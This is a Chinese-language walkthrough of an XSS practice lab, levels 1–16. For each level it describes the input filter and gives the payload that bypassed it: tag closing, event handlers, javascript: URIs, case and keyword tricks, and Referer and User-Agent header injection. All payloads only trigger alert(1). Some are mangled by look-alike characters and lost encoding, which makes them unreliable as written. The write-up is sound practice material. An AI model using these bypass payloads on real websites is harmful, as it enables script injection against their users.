XSS靶场练习
level 1:
看url地址可以看出是一个get请求,name参数值直接暴露,可作为注入点
注入脚本:<svg οnlοad=alert(1)> 成功
level 2:
F12查看输入点在input标签里面,想办法在value处注入
思路:先闭合标签
注入脚本:"><script>alert(1)</script> 成功
level 3:与level2不同的是,value做了校验,双引号和尖括号都被校验了
思路:可以考虑单引号,以及不含转义字符的注入方式
注入脚本:'οnclick='alert(1) 成功
level 4:发现尖括号直接被替换为空了,但是双引号没有被校验
思路:所以可以用不含转义字符的注入方式
注入脚本:"οnclick="alert(1) 注入成功
level 5:对on*、script做了校验,十一使用为协议javascript:alert(1)
思路:闭合前面的input标签再用<a>标签的href属性
注入脚本:"><a href='javascript:alert(1)'> 成功
level 6:发现在level的基础上,过滤了href
思路:发现对大写没有限制,可以考虑用大写的脚本注入
注入脚本:"><Script>alert(1)</Script> 成功
level 7:发现把script、on、href替换为空
思路:可以将关键字重组
注入脚本:"><scriscriptpt>alert(1)</scriscriptpt>
level 8:发现输出点是链接形式,且在a标签的href属性中,可以考虑javascript,但是发现script被过滤了
思路:可以试试实体编码
注入脚本:javascript:alert(1) 成功
level 9:发现对href的值限制,不是链接就不行作了
思路:多试一下以后,发现有http://就行,没有规定一定要开头,那么可以试试放在注释里面
注入脚本:javascriptalert(1)//http://www.baidu.com 成功
level 10:发现有三个隐藏的参数
思路:因为是get传输,可以在url上拼接这几个参数,并对参数值进行注入
发现t_link、t_history参数均作了校验,t_sort参数仅对尖括号作了校验
可以考虑不含转义字符的注入方式,但是界面没有可以点击的对象》可以考虑给到一个》可以给一个触发的事件
双引号闭合value值,type设置为text,触发事件可以选择onmouseover
注入脚本&t_sort="type="text" οnmοuseοver="alert(1)" 成功
level 11:发现有4个隐藏的参数,同level 10一样的排出方式,发现t_link、t_history、t_sort参数作了校验,不能注入成功
思路:t_ref参数的值用同样的方法,发现无法入参,没办法,用上了Bp工具,抓取报文,在herder中想办法,找类似于链接的参数,进行注入,发现没有referer
试试增加referer,发现t_ref终于可以入参了
注入方法:BP抓取正常的报文》往header中写入referer注入参数信息,写法参考level 10》重新请求
注入脚本:&t_ref="type="text" οnmοuseοver="alert(1)" 成功
header信息介绍:https://blog.****.net/qq_42218123/article/details/80664302
referer:http://123.56.245.68:8091/level11.php?t_ref="type="text" οnmοuseοver="alert(1)"
level 12:同上面两题,BP抓取报文看,多了一个参数类似是User-Agent,好可以从这个地方入手了
注入方法:BP抓取报文》修改User-Agent信息》重放,具体见图
注入脚本:"type="text" οnmοuseοver="alert(1)" 成功
level 13:增加了一个t_cook隐藏参数,思维类似上面排查,发现header头写入参数并不能生效(这题有问题,cookie中根本没有user这个参数,看了攻略才知道)
level 14:崩了
level 15:崩了
lever 16:发现script被校验了,而且重放报文来看,空格被实体化了,如图2
思路:可以用回车代替空格,在bp工具中转一下空格的编码
注入脚本:<img%0asrc%0aonload%0a=alert(1)>或者<svg%0aοnlοad=alert(1)> 成功